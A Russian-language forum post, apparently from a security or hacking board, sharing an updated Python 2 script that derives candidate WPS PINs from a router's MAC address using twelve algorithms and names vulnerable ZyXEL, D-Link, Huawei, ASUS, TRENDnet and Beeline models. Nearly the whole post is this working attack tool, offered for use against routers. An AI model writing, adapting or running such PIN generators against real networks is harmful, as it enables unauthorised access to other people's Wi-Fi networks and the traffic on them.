
16.03.2014, 21:37
|
|
Флудер
Регистрация: 11.12.2010
Сообщений: 4,688
Провел на форуме: 997379
Репутация:
125
|
|
Код:
#!/usr/bin/env python
import sys, re
def pin_checksum(pin):
# WPS PIN Checksum - for more information see hostapd/wpa_supplicant source (wps_pin_checksum) or
# http://download.microsoft.com/download/a/f/7/af7777e5-7dcd-4800-8a0a-b18336565f5b/WCN-Netspec.doc
accum = 0
t = pin
while (t):
accum += 3 * (t % 10)
t /= 10
accum += t % 10
t /= 10
return '%07i%i' % (pin, (10 - accum % 10) % 10)
def gen_hexdec(mac_str):
return (int(mac_str[6:12], 16) % 10000000)
def gen_beeline(mac_str):
return ((int(mac_str[6:12], 16) + 756992) % 10000000)
def gen_hexdec_hi(mac_str):
return ((~int(mac_str[6:12], 16) & 0xFFFFFF) % 10000000)
def gen_hexdec_di(mac_str):
return (~int(mac_str[6:12], 16) % 10000000)
def gen_hexdec_hda(mac_str):
return ((gen_hexdec_hi(mac_str) + gen_hexdec_di(mac_str)) % 10000000)
def gen_hexdec_hds(mac_str):
return ((gen_hexdec_hi(mac_str) - gen_hexdec_di(mac_str)) % 10000000)
def gen_hexdec_dhs(mac_str):
return ((gen_hexdec_di(mac_str) - gen_hexdec_hi(mac_str)) % 10000000)
def gen_hexdec2x(mac_str):
return (2*int(mac_str[6:12], 16) % 10000000)
def gen_hexdec3x(mac_str):
return (3*int(mac_str[6:12], 16) % 10000000)
def gen_hex1_add_hex2_dec(mac_str):
return ((int(mac_str[0:6], 16)+int(mac_str[6:12], 16)) % 10000000)
def gen_hex1_sub_hex2_dec(mac_str):
return ((int(mac_str[0:6], 16)-int(mac_str[6:12], 16)) % 10000000)
def gen_hex1_xor_hex2_dec(mac_str):
return ((int(mac_str[0:6], 16)^int(mac_str[6:12], 16)) % 10000000)
def main():
if len(sys.argv) != 2:
sys.exit('Usage: wpspin.py [BSSID]\n eg. wpspin.py 00:11:22:33:44:55\n')
mac_str = re.sub(r'[^a-fA-F0-9]', '', sys.argv[1])
if len(mac_str) != 12:
sys.exit('check MAC format!\n')
print '\n1. Algorithm: Dec(Hex[6..12])\n'
print ' WPS PIN: ', pin_checksum(gen_hexdec(mac_str))
print '\n Compatible devices:'
print ' - ZyXEL NDMS (CC:5D:4E, EC:43:F6, FE:F5:28, etc.)'
print ' - Some TRENDnet (00:14:D1)'
print ' - D-Link DIR-620 (90:94:E4)'
print ' - Huawei HG532e (34:6B:D3)'
print ' - ASUS RT-G32 (20:CF:30, 90:E6:BA, E0:CB:4E)'
print '\n2. Algorithm: Dec(Hex[6..12]) + 756992\n'
print ' WPS PIN: ', pin_checksum(gen_beeline(mac_str))
print '\n Compatible devices:'
print ' - Beeline DIR-300 (2C:AB:25)'
print '\n3. Algorithm: Dec(Inv(Hex[6..12]))\n'
print ' WPS PIN: ', pin_checksum(gen_hexdec_hi(mac_str))
print '\n4. Algorithm: Inv(Dec(Hex[6..12]))\n'
print ' WPS PIN: ', pin_checksum(gen_hexdec_di(mac_str))
print '\n5. Algorithm: Dec(Inv(Hex[6..12])) + Inv(Dec(Hex[6..12]))\n'
print ' WPS PIN: ', pin_checksum(gen_hexdec_hda(mac_str))
print '\n6. Algorithm: Dec(Inv(Hex[6..12])) - Inv(Dec(Hex[6..12]))\n'
print ' WPS PIN: ', pin_checksum(gen_hexdec_hds(mac_str))
print '\n7. Algorithm: Inv(Dec(Hex[6..12])) - Dec(Inv(Hex[6..12]))\n'
print ' WPS PIN: ', pin_checksum(gen_hexdec_dhs(mac_str))
print '\n8. Algorithm: Dec(Hex[6..12]) * 2\n'
print ' WPS PIN: ', pin_checksum(gen_hexdec2x(mac_str))
print '\n9. Algorithm: Dec(Hex[6..12]) * 3\n'
print ' WPS PIN: ', pin_checksum(gen_hexdec3x(mac_str))
print '\n10. Algorithm: Dec(Hex[0..6]) + Dec(Hex[6..12])\n'
print ' WPS PIN: ', pin_checksum(gen_hex1_add_hex2_dec(mac_str))
print '\n11. Algorithm: Dec(Hex[0..6]) - Dec(Hex[6..12])\n'
print ' WPS PIN: ', pin_checksum(gen_hex1_sub_hex2_dec(mac_str))
print '\n12. Algorithm: Dec(Hex[0..6]) xor Dec(Hex[6..12])\n'
print ' WPS PIN: ', pin_checksum(gen_hex1_xor_hex2_dec(mac_str))
if __name__ == "__main__":
main()
Обновил скрипт wpspin.py, добавил несколько простых алгоритмов. Может быть некоторые из них подойдут к каким-то роутерам.
|
|
|